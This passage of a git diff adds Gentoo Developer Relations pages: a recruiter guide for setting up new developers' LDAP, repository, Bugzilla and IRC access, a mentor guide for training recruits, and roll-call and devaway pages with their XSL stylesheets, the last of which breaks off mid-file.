+and unrelated to the quiz questions. Take your time, it's supposed to be a
+learning experience as much as a test of your skills. But just tell me if
+you can't absolute find something so that you don't use too much time.
+</p>
+
+<p>
+After the sessions you are asked to submit a fixed versions of the quizzes so
+logging the session might be prudent.
+</p>
+</body>
+</section>
+<section>
+<title>For setting up</title>
+<body>
+<pre caption="Bugzilla setup comment">
+What we did:
+- LDAP
+- bugzilla
+- cvs/svn/git groups on cvs.gentoo.org
+- IRC cloak
+- sent you your LDAP/mail password via encrypted mail
+- announcement
+- gentoo-core
+
+What you need to do:
+- subscribe to mailing lists with your @gentoo.org address
+- request forum status bump in #gentoo-forums or by mail to
+  forum-mods@gentoo.org (if you have a forums account)
+- send yourself mail to check if it works
+- add yourself to mail aliases ( like java@gentoo.org )
+  see /var/mail/alias on dev.gentoo.org
+- ask team leads to add yourself to herds.xml for the herds you want to
+  join or do it yourself if you have the permission to do so
+- set lat and lon attributes in LDAP if you want others to know where
+  exactly you are located
+- set gentooIM if you want people to be able to contact you via other
+  means than email
+- If you want your blog to be syndicated to planet.gentoo.org, check
+  http://www.gentoo.org/proj/en/userrel/planet/index.xml
+- contact trustees@gentoo.org for Foundation membership (optional)
+
+For the mentor:
+- You are also responsible for the commits of your recruit during the first
+  month so you should watch the commits of your recruit via gentoo-commits
+  mailing list.
+</pre>
+</body>
+</section>
+</extrachapter>
+
+<extrachapter>
+<title>Steps for adding a new developer</title>
+<section>
+<title>1. Adding the new developer to LDAP</title>
+<body>
+
+<p>
+At first, start adding the new developer to LDAP. This requires you to
+<c>ssh</c> to <c>dev.gentoo.org</c> and use the <c>newdev-fill.sh</c> 
+script to create the new account. This script will ask you for all 
+needed information and will set the ldap attributes. You should have 
+your LDAP password by hand, you will be asked for it for every LDAP 
+change.
+</p>
+
+<pre caption="Creating the initial UID in LDAP">
+# <i>ssh dev.gentoo.org</i>
+# <i>newdev-fill.sh hyakuhei</i>
+</pre>
+<p>
+Please be aware, that as of <b>17. December 2007</b>, all dates
+in LDAP should be spelled in ISO8601, meaning like this: YYYY/MM/DD
+(ie. 2007/12/18).
+</p>
+
+<p>
+Afterwards it should look like this:
+</p>
+
+<pre caption="Completely filled informations">
+# <i>perl_ldap -b user -s hyakuhei</i>
+Searching...
+------------------------------------------------------------------------
+dn:uid=hyakuhei,ou=devs,dc=gentoo,dc=org
+
+             uid: hyakuhei
+              cn: Robert Clark
+       givenName: Robert
+              sn: Clark
+    userPassword: {crypt}$1$HP/3wW0V$XUMrrFeQDHiMSGDOIUAbi/
+shadowLastChange: 13520
+       shadowMax: 99999
+   shadowWarning: 15
+      loginShell: /bin/bash
+   homeDirectory: /home/hyakuhei
+            mail: hyakuhei@gentoo.org
+                  joe.dev@mydomain.com
+           gecos: Robert Clark
+  shadowInactive: 15
+    shadowExpire: 14883
+       gidNumber: 100
+       uidNumber: 2159
+      gentooJoin: 2007/01/07
+            herd: undefined
+    gentooStatus: active
+     objectClass: top
+                  person
+                  organizationalPerson
+                  gentooDev
+                  inetOrgPerson
+                  posixAccount
+                  shadowAccount
+                  ldapPublicKey
+  gentooLocation: Wales, UK
+        birthday: 1984/06/29
+     gentooRoles: Security/log monitoring apps, Auditing
+          gpgkey: 0x2217D168
+  gpgfingerprint: 4C01 D375 8AEF CB2D 3AED  3B2D 119C 7E35 2217 D168
+    gentooMentor: his-mentor
+    gentooDevBug: 012345
+    sshPublicKey: ssh-dss AAAAB3NzaC1kc3MAAACBAKmRjZ21SqPHwRXgkWDVuLfSZ5FOSV26x\
+		  aV3Fnsc68r9caDWMZyD8PAJfXUeDXYOcUt4F3ZB+VL3DQSGg4ZEf4XVoNIOVn\
+		  u87QaQyMJYT+u2EPsTJv99HZJM+tGT/ng6JfnRMWYdEDAUJ6iKZLNPKt+KWH7\
+		  KprlHxRUJzd1MpbsVAAAAFQD9i0iTAesG4A1PJwT232+6IxtDlwAAAIEAoVtc\
+		  O/ef4pd5WdJaeneOlmaFEF+P3lBbkaomT5oFv4GI+0BS3b+C9gOV+akDpu3Fn\
+		  5JREwN665P+Cnid2y3FVZY77CazbfHBpVX6elTndo1wxRYE02GxMkhqWpuMkc\
+		  MChdRjhRrcLHzAh6wO64r/wd5ofciBxuP2+ilWT151frgAAACAda4optpsYWm\
+		  oSwIiLqfjr+Akxvzn9LWDcJ4LI4U8wakiHgBEGlhiIE7zrmS4ZEp8vGKv/Rhk\
+		  3fOU96eUsoWFyMYtYFtCv5hQBJrqhC5Ur3dvjVzbracSZytn2xrTc+AEngPXu\
+		  55WN2ebq/LMMTQV0Sq2wbDc7g9Jkxr4apAGDIM= hyakuhei@gentoo.org"
+</pre>
+<p>
+The sshPublicKey has been splitted in many lines for this website, it is just one line.
+</p>
+
+</body>
+</section>
+<section>
+<title>2. Setting up the developer's gentooAccess</title>
+<body>
+
+<p>
+In preparation of granting access to cvs/svn/git, the gentoo-core
+mailing list or changing his bugzilla login name, you will need to poke one of
+the leads to setup the developer's <c>gentooAccess</c>. This is needed,
+otherwise he/she won't be able to login to the machines we use in the
+development process (dev.gentoo.org and cvs.gentoo.org for example).
+</p>
+
+<p>
+After a senior devrel member added the <c>gentooAccess</c> portion, you can go
+ahead with the next steps.
+</p>
+
+</body>
+</section>
+<section>
+<title>3. Granting svn/cvs/git access</title>
+<body>
+
+<p>
+In order to grant access to cvs/svn/git to the newly added developer, you will need
+to <c>ssh</c> to <c>corvid.gentoo.org</c> and add the username to the appropriate
+groups.
+</p>
+
+<pre caption="Adding a developer to the groups cvs, svn and git">
+# <i>ssh corvid.gentoo.org</i>
+# <i>gpasswd -a hyakuhei cvs</i>
+Adding user hyakuhei to group cvs
+# <i>gpasswd -a hyakuhei svn</i>
+Adding user hyakuhei to group svn
+# <i>gpasswd -a hyakuhei git</i>
+Adding user hyakuhei to group git
+</pre>
+
+</body>
+</section>
+<section>
+<title>4. Creating the developer's account on dev.gentoo.org</title>
+<body>
+
+<p>
+Now get the developer to <c>ssh</c> to <c>dev.gentoo.org</c> as the first login
+will trigger the creation of his account.
+</p>
+
+<note>
+Try handing the dev-to-be the full commandline like
+<c>ssh hyakuhei@dev.gentoo.org</c>, in order to minimize mistakes and/or
+misconfigurations.
+</note>
+
+</body>
+</section>
+<section>
+<title>5. Changing the developer's bugzilla login</title>
+<body>
+
+<p>
+After the developer logged in successfully, you can proceed with the recruiter
+process. Login to bugzilla, choose <c>Users</c> in the Row <b>Edit</b>.
+Supplement the developer's current email adress (the one he used for bugzilla).
+</p>
+
+<p>
+Change his current <c>Login name</c> to read <b>handle-name@gentoo.org</b> (in
+the present case that is <b>hyakuhei@gentoo.org</b>). Hit <c>Update</c> once
+you're finished with the modifications.
+</p>
+
+</body>
+</section>
+<section>
+<title>6. Subscribing the developer to gentoo-core</title>
+<body>
+
+<p>
+	Every developer needs to be subscribed to gentoo-core and gentoo-dev-announce.
+	gentoo-core is the only gentoo mailing list only infra members can subscribe/remove other devs.
+</p>
+<p>
+	You need to ping infra members on <c>#gentoo-infra</c> and if you don't get an immediate
+	response then Cc them to the developer bug.
+</p>
+
+</body>
+</section>
+<section>
+<title>7. Setting the developer cloak to gentoo/developer/account</title>
+<body>
+
+<p>
+	Every developer should get a cloak in the form @gentoo/developer/account,
+	where in most cases the account is the same as the nickname he uses.
+</p>
+<p>
+	You need to ping our group contacts (mentioned in the topic) on <c>#gentoo-groupcontacts</c>
+	and ask for a gentoo/developer cloak for the new dev. One of them will have to acc the
+	request. After this, someone from freenode staff will change the cloak.
+</p>
+
+</body>
+</section>
+<section>
+<title>8. Developer operator status in #gentoo-dev</title>
+<body>
+
+<p>
+After freenode staff has changed the cloak for our new dev, he should get
++o when joining <c>#gentoo-dev</c>.
+In order to make sure, the <c>AUTOOP</c> is working, kick the new developer 
+from <c>#gentoo-dev</c> and wait till he rejoins. If everything is working
+as it should, he will get the <b>+o</b> on join by ChanServ.
+</p>
+
+<p>
+If you want to automatically give voice status (+v) in <c>#gentoo-dev</c> to a
+recruit, e.g. during his/her mentoring period, use the following command:
+</p>
+
+<pre caption="Adding the developer to ChanServ's access list">
+[(status)] <i>/msg ChanServ access #gentoo-dev add hyakuhei +ViA</i>
+</pre>
+
+</body>
+</section>
+<section>
+<title>8. Introducing the developer on mailing lists</title>
+<body>
+
+<p>
+In order to announce the new developer, you as recruiter have the honour to
+introduce him to the developer community. Write a brief introduction containing
+some details about your recruitee to gentoo-dev-announce and gentoo-project.
+</p>
+
+</body>
+</section>
+<section>
+<title>Remaining tasks</title>
+<body>
+
+<p>
+Please follow up with the developer during their first month to make sure they
+are adapting well and to address any concerns.
+</p>
+
+</body>
+</section>
+</extrachapter>
+<extrachapter>
+<title>Reinstating developers</title>
+<section>
+<body>
+
+<p>
+	For returning developers gentooJoin needs to have an entry for everytime they
+	come back
+</p>
+
+<pre caption="Updating gentooJoin">
+# <i>perl_ldap -b user -C gentooJoin "YYYY/MM/DD" nick</i>
+</pre>
+</body>
+</section>
+</extrachapter>
+
+</project>
diff --git a/xml/htdocs/proj/en/devrel/recruiters/mentor.xml b/xml/htdocs/proj/en/devrel/recruiters/mentor.xml
new file mode 100644
index 00000000..15297314
--- /dev/null
+++ b/xml/htdocs/proj/en/devrel/recruiters/mentor.xml
@@ -0,0 +1,377 @@
+<?xml version='1.0' encoding="UTF-8"?>
+<!DOCTYPE guide SYSTEM "/dtd/guide.dtd">
+
+<guide link="/proj/en/devrel/recruiters/mentor.xml">
+<title>Mentor guide</title>
+<author title="Author">
+<mail link="dberkholz@gentoo.org">Donnie Berkholz</mail></author>
+<author title="Author">
+<mail link="calchan@gentoo.org">Denis Dupeyron</mail></author>
+
+<abstract>Instructions for mentors of new recruits</abstract>
+
+<version>1.1.0</version>
+<date>2007-07-22</date>
+
+<chapter>
+<title>Introduction</title>
+<section>
+<title>Introduction</title>
+<body>
+
+<p>
+As a mentor, you are the liaison between a recruit and the recruiters. You may
+be the first in-depth contact a recruit has with Gentoo, so the impression you
+make is critical to the recruit's future with Gentoo.
+</p>
+
+<p>
+You have two goals, which you will need to balance:
+</p>
+
+<ul>
+<li>Fulfilling the recruitment requirements, and</li>
+<li>Ensuring your recruit is prepared to join the Gentoo community.</li>
+</ul>
+
+<p>
+Before you can mentor anyone, you must have been with Gentoo for at least six
+months. Previously being a project lead was enough too but with GLEP 39 anyone
+can create new projects.
+</p>
+
+</body>
+</section>
+
+<section>
+<title>Considerations</title>
+<body>
+
+<p>
+If you are unsure whether you have time to mentor a recruit, don't. Failure to
+properly mentor, such as abandoning the recruit or not providing the recruit
+with quizzes and related documentation, results in suspension of your mentoring
+capability. The first offense is two months, and each further offense doubles
+the suspension.
+</p>
+
+<p>
+Why do we do this? Because you need to show responsiblity, maturity and
+experience. If you can't mentor your recruit for some reason, immediately
+contact the recruiters so they can work with you to find a new mentor.
+</p>
+
+</body>
+</section>
+</chapter>
+
+<chapter>
+<title>The Recruitment Process</title>
+
+<section>
+<title>Getting Started</title>
+<body>
+
+<p>
+Once you identify a potential recruit, make contact to see whether he or she has
+the desire, drive, ability and time to become part of Gentoo.
+</p>
+</body>
+</section>
+
+<section>
+<title>The First Quiz</title>
+<body>
+
+<p>
+Have your recruit do the first quiz before anything else, such as filing a new-
+developer bug. Go over the quiz with your recruit and resolve any problems. If
+this step satisfied you, file a new-developer bug.
+</p>
+
+<p>
+Developers working strictly on infrastructure, documentation, or bug-wranglers
+with no CVS access to the Portage tree typically do not need to take the ebuild
+quiz. There is a separate staff quiz available for this. Some developers
+working on software external to the tree may need to take the ebuild quiz for a
+general sense of how Gentoo development works. Recruiters will decide this on a
+case-by-case basis.
+</p>
+
+</body>
+</section>
+
+<section>
+<title>Filing a New Developer Bug</title>
+<body>
+
+<p>
+The bug summary should be 'New Dev: real name (nickname).' The bug must
+contain the new developer's real name, email address, and reason for joining
+the project. Real names must be provided for all developers, including
+infrastructure and documentation. Any exceptions to this for extenuating
+circumstances will be considered on a case-by-case basis. No exceptions will
+be made for people doing copyrightable work (ebuilds, software, scripts, etc.).
+</p>
+
+<p>
+The bug should also contain who the new developer's mentors will be and any
+other information the mentor wishes to provide. Please do not attach quiz
+answers or encryption keys to the bug -- these should be emailed to recruiters.
+The new developer and all mentors should be CC'd on the bug to keep everybody
+in the loop. In addition, your project lead must be CC'd and must approve the
+bug when it's filed to confirm that the project is accepting new developers.
+</p>
+
+<p>
+At the same time as you file the new developer bug, your recruit should e-mail
+the first quiz to recruiters@gentoo.org and CC you. A recruiter will approve or
+reject the quiz and note this on the bug. If it gets rejected, repeat the cycle
+of refining the answers and re-sending to recruiters until they approve it.
+Comment on the bug each time your recruit sends the quiz, so recruiters know
+the status of the bug and what remains to be done.
+</p>
+
+<p>
+Recruits taking the quiz should consult technical and policy documentation for
+answers. Mentors may provide as much assistance as needed. Along with the quiz,
+an OpenSSH SSH2 DSA public key for infrastructure access should be provided to
+recruiters.
+</p>
+
+</body>
+</section>
+
+<section>
+<title>Training</title>
+<body>
+
+<p>
+The training period is 30 days. New developers should be responsive to questions
+from recruiters during this training period. If the new developer will be
+absent for significant periods of time during training, the bug should be
+updated to reflect this. If a new developer is unresponsive to pings,
+recruiters will close the bug. Bugs closed under these circumstances may be
+reconsidered at a later time.
+</p>
+
+<p>
+If applicable, your recruit may begin the second quiz at any time. It is due by the
+end of the training period. The second quiz procedure mirrors the first.
+At the end of the training period, write up a summary of how the dev is 
+doing and add it to the bug.
+</p>
+
+<p>
+Along with the second quiz the mentor and recruit must compile a list of all the
+ebuilds and eclasses, or any other relevant work, written from scratch by the
+recruit or where he/she has made a significant contribution. Care should be taken
+to isolate all work from the recruit from corrections and/or modifications made by
+any other person (i.e. either send the original version of the file before it was
+corrected or a patch in case of work on something that already existed before,
+etc...).
+</p>
+
+</body>
+</section>
+
+<section>
+<title>The Review</title>
+<body>
+
+<p>
+Once both quizzes have been approved by recruiters, one of them will start making
+arrangements with the recruit to organize a review. This is usually conducted on
+irc in a private channel, so the recruit must make sure he/she is comfortable enough
+with his/her irc client to not be distracted during the discussion. It is a good idea
+for the recruit to log all activity on the channel for future reference.
+</p>
+
+<p>
+The review shouldn't be considered as an examination but more as another part of
+the training. The recruiters are in charge of making sure all necessary knowledge
+has been acquired and understood. Their goal is not to stress or scare the recruit,
+thus the discussion should occur in a relaxed yet professional atmosphere.
+</p>
+
+<p>
+During the review, the recruiter will go through every single quiz answer with the
+recruit, comment it, correct it if necessary, add some more specific context or on
+the contrary generalize the examples, answer any additional questions from the
+recruit, etc... This process usually takes about one to two hours per quiz. The
+recruiter will most probably add some more questions (not all of them technical) and
+give one or two assigments to the recruit. The review may be done in several
+different sessions due to time constraints of either the recruit or the recruiter,
+and because one single session must not exceed 2 to 3 hours in order to avoid that the
+recruit loses his/her focus or gets tired.
+</p>
+
+<note>
+Recruiters may reject new developers if they think it's appropriate. When doing so
+they will explain their decision.
+</note>
+
+</body>
+</section>
+
+<section>
+<title>Probation</title>
+<body>
+
+<p>
+Once the training period ends and the recruiters have approved the recruit,
+they will set him/her up as a provisional developer. At this point, the
+recruit spends a month in probation. Tell your recruit to take extra care during
+this month, because other developers will rely on their early impressions of
+actions and words. That's all they will know of your recruit's ability and
+character, which will also reflect onto you. In addition, you are responsible
+for the new developer's actions.
+</p>
+
+<p>
+You must remain available during probation to walk the developer through the
+first commit and answer any questions that come up. If you aren't sure of an
+answer, don't say it. Find out the answer for sure.
+</p>
+
+</body>
+</section>
+
+<section>
+<title>Afterwards</title>
+<body>
+
+<p>
+Your recruit will still see you as a mentor even after probation ends. You will
+be a role model, so make sure you act like one.
+</p>
+
+</body>
+</section>
+</chapter>
+
+<chapter>
+<title>Ensuring Your Recruit is Prepared to Join the Gentoo Community</title>
+
+<section>
+<title>Characteristics and Abilities</title>
+<body>
+
+<p>
+To find the most successful recruit, you will want to look for certain
+characteristics and abilities:
+</p>
+
+<ul>
+  <li>
+    <b>Willing to help</b>:
+    <br/>
+    A significant portion of developer time is spent dealing with users,
+    either on mailing lists, forums or Bugzilla. Recruits need to start
+    working with users before they become developers, if they aren't
+    already doing it.
+  </li>
+  <li>
+    <b>Willing to learn</b>:
+    <br/>
+    Nobody knows everything. A good recruit will admit lack of omniscience
+    and will exhibit eagerness to close that gap in relevant areas.
+  </li>
+  <li>
+    <b>Social ability</b>:
+    <br/>
+    This strongly ties in with "Willing to help." Even the best of
+    intentions can be meaningless without the ability to carry them out.
+    Make sure a recruit has the social ability necessary to interact with
+    other developers and users. This also entails a strong grasp of the
+    English language.
+  </li>
+  <li>
+    <b>Relevant talents</b>:
+    <br/>
+    Each area of Gentoo has some requisite talents that may be required
+    before a recruit can become a developer in that area. These vary, so
+    each project should create its own list. Some projects also create
+    a customized quiz, in addition to the devrel quiz, to ensure that these
+    criteria are met.
+  </li>
+</ul>
+
+</body>
+</section>
+
+<section>
+<title>Interacting with Recruits</title>
+<body>
+
+<p>
+As mentioned earlier, the impression you make on the new recruit is critical to
+how the recruit sees Gentoo. Treat recruits with the same high level of
+professionalism and courtesy that you treat fellow Gentoo developers with. After
+all, they'll probably be developers soon too.
+</p>
+
+</body>
+</section>
+
+<section>
+<title>Take-Home Points</title>
+<body>
+
+<p>
+There are a few key points you should emphasize to your recruits, among the
+other aspects of their training:
+</p>
+
+<ul>
+  <li>
+    <b>Too much communication is better than too little</b>:
+    <br/>
+    This is a chronic problem within Gentoo. There will always be less time
+    wasted by communicating too much than there would be by the duplication
+    of effort caused by too little communication.
+  </li>
+  <li>
+    <b>Be courteous and professional</b>:
+    <br/>
+    Once you offend and alienate someone, you can never take it back. Also,
+    remember we draw new developers from our user base. You could lose
+    potential developers by being rude and unprofessional, creating more
+    work for yourself and for other current developers who really need help.
+  </li>
+  <li>
+    <b>Respect existing maintainers</b>:
+    <br/>
+    Never commit when someone else has clear ownership. Never commit on
+    things with unclear ownership until you've tried to clear it up.
+  </li>
+  <li>
+    <b>When you aren't sure about something, don't commit it</b>:
+    <br/>
+    It's always easier to discuss problems before than after. If you don't
+    know what to do, check the documentation and e-mail gentoo-dev, if
+    you're still in doubt.
+  </li>
+</ul>
+
+</body>
+</section>
+
+<section>
+<title>Resources</title>
+<body>
+
+<p>
+These links may prove useful in developing additional ideas for training new
+recruits.
+</p>
+
+<ul>
+  <li><uri link="http://www.mozilla.org/projects/seamonkey/rules/bible.html">The Seamonkey engineering bible</uri></li>
+  <li><uri link="http://www.freebsd.org/doc/en/articles/committers-guide/rules.html">The FreeBSD committers' big list of rules.</uri></li>
+</ul>
+
+</body>
+</section>
+</chapter>
+</guide>
diff --git a/xml/htdocs/proj/en/devrel/roll-call/devaway.xml b/xml/htdocs/proj/en/devrel/roll-call/devaway.xml
new file mode 100644
index 00000000..816053cf
--- /dev/null
+++ b/xml/htdocs/proj/en/devrel/roll-call/devaway.xml
@@ -0,0 +1,79 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<?xml-stylesheet href="/proj/en/devrel/roll-call/devaway.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+
+<!DOCTYPE devaway SYSTEM "/dtd/guide.dtd" [
+  <!ELEMENT devaway (title, author+, abstract, version, today, chapter*, devs, chapter+)>
+    <!ATTLIST devaway link CDATA #REQUIRED>
+    <!ELEMENT devs  EMPTY>
+    <!ELEMENT today EMPTY>
+]>
+
+<devaway link="devaway.xml">
+<title>Unavailable Gentoo Devs</title>
+
+<author title="Author">
+  <mail link="neysx@gentoo.org">Xavier Neys</mail>
+</author>
+
+<abstract>
+This page shows unavailable Gentoo devs
+</abstract>
+
+<version>1.1</version>
+<today/>
+
+<chapter>
+<title>Unavailable Gentoo Devs</title>
+<section>
+<body>
+
+<p>
+The following table contains a list of unavailable Gentoo developers.
+</p>
+
+</body>
+</section>
+</chapter>
+
+  <!-- Add table (done by devaway.xsl) -->
+  <devs/>
+
+<chapter>
+<title>How to use the Devaway System?</title>
+<section>
+<body>
+
+<p>
+<b>On <c>dev.gentoo.org</c> :</b>
+</p>
+
+</body>
+</section>
+<section>
+<title>To set yourself away</title>
+<body>
+
+<pre caption="Going away">
+<comment>(Away without any message)</comment>
+$ <i>touch ~/.away</i>
+
+<comment>(With a short message, much better)</comment>
+$ <i>echo "I'll be away on a fishing trip until Aug 30, contact $dev1 or $dev2 in my absence" &gt; ~/.away</i>
+</pre>
+
+</body>
+</section>
+<section>
+<title>When you return</title>
+<body>
+
+<pre caption="Coming back">
+$ <i>rm ~/.away</i>
+</pre>
+
+</body>
+</section>
+</chapter>
+
+</devaway>
diff --git a/xml/htdocs/proj/en/devrel/roll-call/devaway.xsl b/xml/htdocs/proj/en/devrel/roll-call/devaway.xsl
new file mode 100644
index 00000000..e2617b67
--- /dev/null
+++ b/xml/htdocs/proj/en/devrel/roll-call/devaway.xsl
@@ -0,0 +1,64 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<xsl:stylesheet xmlns:xsl="http://www.w3.org/1999/XSL/Transform" version="1.0"
+                xmlns:func="http://exslt.org/functions"
+                xmlns:exslt="http://exslt.org/common"
+                extension-element-prefixes="func exslt">
+
+<xsl:output encoding="UTF-8" method="xml" indent="yes" doctype-system="/dtd/guide.dtd"/>
+<xsl:include href="/xsl/inserts.xsl" />
+
+<xsl:variable name="devaway" select="document('/dyn/devaway/devaway.xml')"/>
+<xsl:param name="select"/>
+
+<xsl:template match="today">
+  <!--<date><xsl:value-of select="exslt:node-set($devaway)/devaway/@date"/></date>-->
+  <date><xsl:value-of select="func:today()"/></date>
+</xsl:template>
+
+<xsl:template match="/devaway">
+  <mainpage id="projects" link="{@link}">
+    <xsl:apply-templates/>
+  </mainpage>
+</xsl:template>
+
+<xsl:template match="devs">
+<chapter>
+<title>Status</title>
+<section>
+<title>
+Last update: <xsl:value-of select="exslt:node-set($devaway)/devaway/@date"/>
+</title>
+<body>
+<table>
+<tr>
+ <th>Dev</th>
+ <th>Status</th>
+</tr>
+<xsl:for-each select='exslt:node-set($devaway)/devaway/dev'>
+  <xsl:sort select="@nick"/>
+  <tr id="{@nick}">
+  <th><xsl:value-of select="@nick"/></th>
+  <ti>
+   <xsl:choose>
+    <xsl:when test="$select = @nick">
+     <brite><xsl:value-of select="reason"/></brite>
+    </xsl:when>
+    <xsl:otherwise>
+     <xsl:value-of select="reason"/>
+    </xsl:otherwise>
+   </xsl:choose>
+  </ti>
+  </tr>
+</xsl:for-each>
+</table>
+</body>
+</section>
+</chapter>
+</xsl:template>
+
+<xsl:template match="*|@*|comment()|text()">
+  <xsl:copy>
+    <xsl:apply-templates select="*|@*|comment()|text()"/>
+  </xsl:copy>
+</xsl:template>
+</xsl:stylesheet>
diff --git a/xml/htdocs/proj/en/devrel/roll-call/devlist.xml b/xml/htdocs/proj/en/devrel/roll-call/devlist.xml
new file mode 100644
index 00000000..00392b03
--- /dev/null
+++ b/xml/htdocs/proj/en/devrel/roll-call/devlist.xml
@@ -0,0 +1,8 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<?xml-stylesheet href="/xsl/devlist.xsl" type="text/xsl"?>
+
+<!DOCTYPE devlist [
+  <!ELEMENT devlist EMPTY>
+]>
+
+<devlist/>
diff --git a/xml/htdocs/proj/en/devrel/roll-call/devmap.xml b/xml/htdocs/proj/en/devrel/roll-call/devmap.xml
new file mode 100644
index 00000000..1bd7302d
--- /dev/null
+++ b/xml/htdocs/proj/en/devrel/roll-call/devmap.xml
@@ -0,0 +1,11 @@
+<?xml version='1.0'?>
+<!DOCTYPE mainpage SYSTEM "/dtd/guide.dtd">
+<mainpage>
+	<title>Developers Map</title>
+  <author title="Author">
+    <mail link="neysx@gentoo.org">Xavier Neys</mail>
+  </author>
+	<version>1</version>
+	<devmap/>
+</mainpage>
+	
diff --git a/xml/htdocs/proj/en/devrel/roll-call/index.xml b/xml/htdocs/proj/en/devrel/roll-call/index.xml
new file mode 100644
index 00000000..d7819175
--- /dev/null
+++ b/xml/htdocs/proj/en/devrel/roll-call/index.xml
@@ -0,0 +1,26 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<?xml-stylesheet href="/xsl/project.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE project SYSTEM "/dtd/project.dtd">
+
+<project>
+	<name>roll-call</name>
+	<longname>Gentoo Roll Call</longname>
+	<date>16 December 2003</date>
+	<author title="Author"><mail link="dberkholz@gentoo.org">Donnie Berkholz</mail></author>
+
+	<description>This sub-project maintains the status of developers, present and past</description>
+	<longdescription>
+		<p>
+			The Roll Call project keeps track of former, current and inactive
+			developers. It maintains a roster of current developers, a listing of
+			developers away or unavailable for some reason, and a listing of former
+			developers. The project has jurisdiction over the status of developers
+			once they are activated by the Recruitment and Training subproject.
+		</p>
+	</longdescription>
+
+
+	<resource link="userinfo.xml">Current/former developer list</resource>
+	<resource link="devaway.xml">Unavailable developer list (devaway)</resource>
+</project>
diff --git a/xml/htdocs/proj/en/devrel/roll-call/userinfo.xsl b/xml/htdocs/proj/en/devrel/roll-call/userinfo.xsl
new file mode 100644
index 00000000..a8fa30e7
--- /dev/null
+++ b/xml/htdocs/proj/en/devrel/roll-call/userinfo.xsl
@@ -0,0 +1,147 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<xsl:stylesheet xmlns:xsl="http://www.w3.org/1999/XSL/Transform" version="1.0"
+                xmlns:exslt="http://exslt.org/common"
+                extension-element-prefixes="exslt" >
+
+<xsl:output encoding="UTF-8"
+            method="xml"
+            indent="yes"
+            doctype-system="/dtd/guide.dtd"/>
+
+<xsl:param name="statusFilter"/>
+
+<xsl:variable name="devaway" select='document("/dyn/devaway/devaway.xml")'/>
+
+<xsl:template match="/userlist">
+  <mainpage>
+    <title>Gentoo Linux Developers</title>
+    <author title="Script"><mail link="devrel@gentoo.org">Gentoo Developer Relations</mail></author>
+
+    <version>Current</version>
+    <chapter>
+    <title>
+      Gentoo Linux
+      <xsl:choose>
+        <xsl:when test="$statusFilter = ''">Active</xsl:when>
+        <xsl:when test="$statusFilter = 'Retired'">Former</xsl:when>
+        <xsl:otherwise>'<xsl:value-of select="$statusFilter"/>'</xsl:otherwise>
+      </xsl:choose>
+      Developer List
+    </title>
+    <section>
+    <body>
+      <p>
+        <xsl:choose>
+          <xsl:when test="$statusFilter = ''">
+            The following table contains a list of active Gentoo developers.
+            Retired developers are listed on the <uri
+            link="userinfo.xml?statusFilter=Retired">Gentoo
+            Developer Relations Former Developers</uri> page.
+          </xsl:when>
+          <xsl:when test="$statusFilter = 'Retired'">
+            The following table contains a list of former Gentoo developers.
+            Active developers are listed on the <uri
+            link="userinfo.xml">Gentoo Linux Developer
+            List</uri>.
+          </xsl:when>
+        </xsl:choose>
+      </p>
+        <xsl:if test="$statusFilter = ''">
+          <p>
+            Developers can be reached by sending e-mail to the
+            developer's user name at gentoo.org; and many developers
+            may be found on IRC (freenode) in #gentoo or #gentoo-dev
+            (requires voicing to speak) using their user name as their
+            IRC nick.
+          </p>
+          <p>
+            You might want to check the list of <uri
+            link="devaway.xml">unavailable developers</uri> before trying to
+            contact anyone.
+          </p>
+      </xsl:if>
+      <table>
+      <tr>
+        <th>Username</th>
+        <th>Name</th>
+        <th>
+          <xsl:if test="$statusFilter != 'Retired'">GPG key</xsl:if>
+          <xsl:if test="$statusFilter = 'Retired'">Status</xsl:if>
+        </th>
+        <th>Location</th>
+        <th>Areas of responsibility</th>
+      </tr>
+      <xsl:apply-templates select="user">
+        <xsl:sort select="@username"/>
+      </xsl:apply-templates>
+    </table>
+  </body>
+
+</section>
+</chapter>
+</mainpage>
+</xsl:template>
+
+<xsl:template match="user">
+ <xsl:if test="($statusFilter = 'Retired' and translate(status/text(),'tired','TIRED')='RETIRED') or ($statusFilter = '' and not(status))">
+  <tr>
+    <xsl:variable name="username" select="@username"/>
+    <th><xsl:value-of select="$username"/></th>
+    <ti>
+      <xsl:choose>
+        <xsl:when test="realname/@fullname">
+          <xsl:value-of select="realname/@fullname"/>
+        </xsl:when>
+        <xsl:otherwise>
+          <xsl:value-of select="realname/firstname"/><xsl:text> </xsl:text><xsl:value-of select="realname/familyname"/>
+        </xsl:otherwise>
+      </xsl:choose>
+    </ti>
+    <ti>
+      <xsl:if test="$statusFilter != 'Retired'">
+       <xsl:for-each select="pgpkey">
+        <xsl:choose>
+          <xsl:when test="starts-with(., '0x')">
+            <xsl:value-of select="translate(.,'abcdef','ABCDEF')"/>
+          </xsl:when>
+          <xsl:when test="string-length(.) = 8">
+            0x<xsl:value-of select="translate(.,'abcdef','ABCDEF')"/>
+          </xsl:when>
+          <xsl:when test="string-length(.) &gt; 0">
+            <xsl:text>Invalid key!</xsl:text>
+          </xsl:when>
+        </xsl:choose>
+        <xsl:if test="not(position()=last())"><br/></xsl:if>
+       </xsl:for-each>
+      </xsl:if>
+      <xsl:if test="$statusFilter = 'Retired'">
+        <xsl:if test="status and status != 'active'">
+          <xsl:value-of select="concat(translate(substring(status, 1, 1 ),'abcdefghijklmnopqrstuvwxyz', 'ABCDEFGHIJKLMNOPQRSTUVWXYZ'), substring(status, 2, string-length(status)))" />
+        </xsl:if>
+      </xsl:if>
+    </ti>
+    <ti>
+      <xsl:choose>
+       <xsl:when test="$statusFilter != 'Retired' and location/@longitude and location/@latitude">
+        <uri link="{concat('devmap.xml?dev=',@username)}"><xsl:value-of select="location"/></uri>
+       </xsl:when>
+       <xsl:when test="location">
+        <xsl:value-of select="location"/>
+       </xsl:when>
+      </xsl:choose>
+      <xsl:if test="$statusFilter != 'Retired' and $devaway/devaway/dev[@nick=$username]">
+        (<uri><xsl:attribute name="link"><xsl:value-of select="concat('devaway.xml?select=', $username,'#',$username)"/></xsl:attribute><brite>away</brite></uri>)
+      </xsl:if>
+    </ti>
+    <ti>
+      <xsl:choose>
